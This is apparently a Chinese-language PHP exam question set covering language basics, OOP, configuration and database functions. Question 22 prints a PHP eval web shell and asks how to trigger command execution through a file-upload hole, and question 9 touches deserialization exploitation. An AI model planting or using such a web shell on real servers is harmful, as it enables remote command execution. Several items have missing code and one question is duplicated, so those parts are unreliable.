1.PHP的官网是?
A.php.com
B.php.net
C.php.org
D.php.cn
2.php 关于类继承说法正确的是
A.子类可以直接调用基类的所有方法
B.子类可以重写基类的方法
C.子类可以直接继承多个基类
D.子类可以重写基类 protected 级别方法为 private 级别
3.下面哪一个不是PHP内置的常量(不定项选择题)
A.__FILE__
B.__FUNCTION__
C.__VERSION__
D.__METHOD__
4.PHP Cookies说法正确的是( )(不定项选择题)
A.setcookie() 函数用于设置 cookie,且必须位于 <html> 标签之前
B.cookie 是服务器留在用户计算机中的小文件
C.cookie 常用于标识服务器
D.会话cookie的生命周期是在关闭浏览器前就消失,并且会保存在硬盘上
5.在PHP.INI中,如果想开启PHP中短标签方式,应该将( )设置为“ON
A.log_errors
B.display_errors
C.short_open_tag
D.dtae.timezone
6.假设你有一个名为'index.php'的文件的路径为c:/apache/htdocs/phptutor/index.php,那么basename($_SERVER['PHP_SELF'])的返回值为?
A.phptutor
B.phptutor/index.php
C.index.php
D./index.php
7.在php中哪一个方法来获取浏览器属性
A.$_SERVER['PHP_SELF']
B.$_SERVER['HTTP_VARIENT']
C.$_SERVER['HTTP_USER_AGENT'];
D.$_SERVER['SERVER_NAME']
8.网络管理员执行 find / -name index.php & 指令, 为了直观现需把find转入前台,用到的指令是( )(不定项选择题)
A.jobs
B.bg
C.fg
D.ps
9.下列可用于PHP反序列化漏洞利用的伪协议是()
A.php://file
B.php://phar
C.php://input
D.php://zlib
10.下面的代码的输出是结果为:
1 2 3 4 5 |
|
A.12345
B.11345
C.22345
D.12245
11.在PHP的存储目录中,/tmp是长传文件的默认存储目录,更改这个目录需要编辑哪个文件的哪个属性值?
A.php.conf文件的upload_dir属性
B.php.conf文件的upload_tmp_dir属性
C.php.ini文件的upload_dir属性
D.php.ini文件的upload_tmp_dir属性
12.PHP链接数据库方法中,使用以下那条指令能够实现数据库的长久连接:
A.mysql_pconnect
B.mysql_pconnetcd
C.mysql_connectd
D.mysql_connect
13.在PHP中哪个变量数组总是包含所有总客户端发出的cookies数据:
A.$_COOKIES
B.$_COOKIE
C.$_GETCOOKIE
D.$_GETCOOKIES
14.在PHP操作数据库方法中,mysql_affected_rows()对哪个操作没有影响
A.update
B.insert
C.select
D.delete
15.在以下PHP链接数据库语句中,数据库关闭指令将关闭哪个连接标识:
1 2 3 4 5 |
|
A.报错
B.全部关闭
C.$link1
D.$link2
16.关于PHP中trait正确的说法是:
A.使用trait实现了一种代码复用机制,使用extent关键字声明使用trait
B.使用trait实现了一种代码追踪机制,使用use关键字声明使用trait
C.使用trait实现了一种代码复用机制,使用use关键字声明使用trait
D.使用trait实现了一种代码追踪机制,使用extent关键字声明使用trait
17.如下代码输出为
1 2 3 4 5 6 7 |
|
A.TRUE
B.FALSE
C.1
D.3
18.php-fpm运行的网站需要修改时区,需要进行如下操作:
A.修改php.ini的date.timezone,重启php-fpm
B.修改php.ini的date.timezone,无需重启php-fpm
C.修改php-fpm.conf的date.timezone,重启php-fpm
D.修改php-fpm.conf的date.timezone,无需重启php-fpm
19.在php中定义常量时,const与define的区别,说法正确的是( )(不定项选择题)
A.const用于类成员变量的定义,一经定义,不可修改。
B.define不可用于类成员变量的定义,可用于全局常量。
C.const能在条件语句中定义常量。
D.define可以采用表达式作为名称
20.属于PHP内置的加密函数( )
A.crypt()
B.md5()
C.sha1()
D.mhash()
21.在php中可以使用当前时间作为随机数种子产生随机数是安全的()
A.是
B.不是
22.假设某网站www.exploit.com存在文件上传漏洞,php语言编写,根目录是C:\wwwroot,现构造文件名test.php上传到服务器目录C:\wwwroot\upload下,内容为
<?php @eval($_GET['cmd']);?>
,请问下面的哪条url能够在服务器成功执行whoami命令?
A.http://www.exploit.com/upload/test.php?cmd=system('whoami');
B.http://www.exploit.com/test.php?cmd=system('whoami');
C.http://www.exploit.com/upload/test.php?cmd=whoami
D.http://www.exploit.com/upload/test.php?eval=system('whoami');
23.设有一个数据库mydb中有一个表tb1,表中有六个字段,主键为ID,有十条记录,ID从0到9,以下代码输出结果是( )'
<?php
$link = mysql_connect('localhost', 'user', 'password')
or die('Could not connect '.mysql_error());
$result = mysql_query("SELECT id, name, age FROM mydb.tb1 WHERE id <'5'")
or die('Could not query: '.mysql_error());
echo mysql_num_fields($result);
mysql_close($link);
?>
A.3
B.6
C.5
D.4
24.如果需要开发一个标准 php 的扩展,必须包含那些文件(多选):(不定项选择题)
A.config.m4
B.config.w32
C.php_counter.h
D.counter.c
E.package.xml
25.关于php性能优化方面说法错误的是:
A.尽量使用 ‘’ 而不是“”
B.如果可以的话 ,尽量用 static 函数
C.遇到大数组操作尽量传引用,尽量避免多次copy
D.递增局部变量比递增全局变量要慢
26.以下程序运行结果:( )
<?
$str = “LAMP”;
$str1 = “LAMPBrother”;
$strc = strcmp($str,$str1);
switch ($strc){
case 1:
echo“str > str1”;
break;
case –1:
echo“str < str1”;
break;
case 0:
echo“str=str1”;
break;
default:
echo“str <> str1”;
}
?>
27.的结果是什么?( )
$a="hello";
$b= &$a;
unset($b);
$b="world";
echo $a;
A.hello
B.world
C.NULL
D.unset
28.以下程序运行结果:( )
<?
$str = “LAMP”;
$str1 = “LAMPBrother”;
$strc = strcmp($str,$str1);
switch ($strc){
case 1:
echo“str > str1”;
break;
case –1:
echo“str < str1”;
break;
case 0:
echo“str=str1”;
break;
default:
echo“str <> str1”;
}
?>
A.str > str1
B.str < str1
C.str = str1
D.str <> str1
29.哪一个三元运算符相当于此脚本( )
<?php
if ($a<10){
if($b>11){
if($c==10&& $d != $c) {
$x=0;
}else {
$x=1;
}
}
}
?>
A.$x = ($a < 10 || $b > 11 || $c == 10 && $d !=$c ) ? 0 : 1;
B.$x = (($a < 10 && $b > 11) || ($c == 10&& $d !=$c ) ) ? 0 : 1;
C.$x = ($a < 10 && $b > 11 && $c == 10 && $d !=$c ) ? 0 : 1;
D.以上都不是
30.下列代码输出内容是( )
<?php
class A{
public function __construct(){
echo "Class A...<br/>";
}
}
class B extends A{
public function __construct(){
echo "Class B...<br/>";
}
}
new B();
?>
A.Class B...
B.Class A... Class B...
C.Class B...Class A...
D.Class A...
31.在PHP面向对象中,下面关于final修饰符描述错误的是( )
A.使用final标识的类不能被继承
B.在类中使用final标识的成员方法,在子类中不能被覆盖
C.不能使用final标识成员属性
D.使用final标识的成员属性,不能在子类中再次定义
32.阅读下面PHP代码,并选择输出结果( )
<?php
class A{
public $num=100;
}
$a = new A();
$b = $a;
$a->num=200;
echo $b->num;
?>
A.100
B.200
C.没有输出
D.程序报错!
33.早期的PHP代码中,除了使用function __construct()定义构造方法外,还可以使用( )
A.function __destruct()
B.function 类名()
C.function __tostring()
D.function __call()
34.获得实例化对象所属类名字的函数( )
A.get_class()
B.get_object_vars()
C.get_class_methods()
D.get_classname()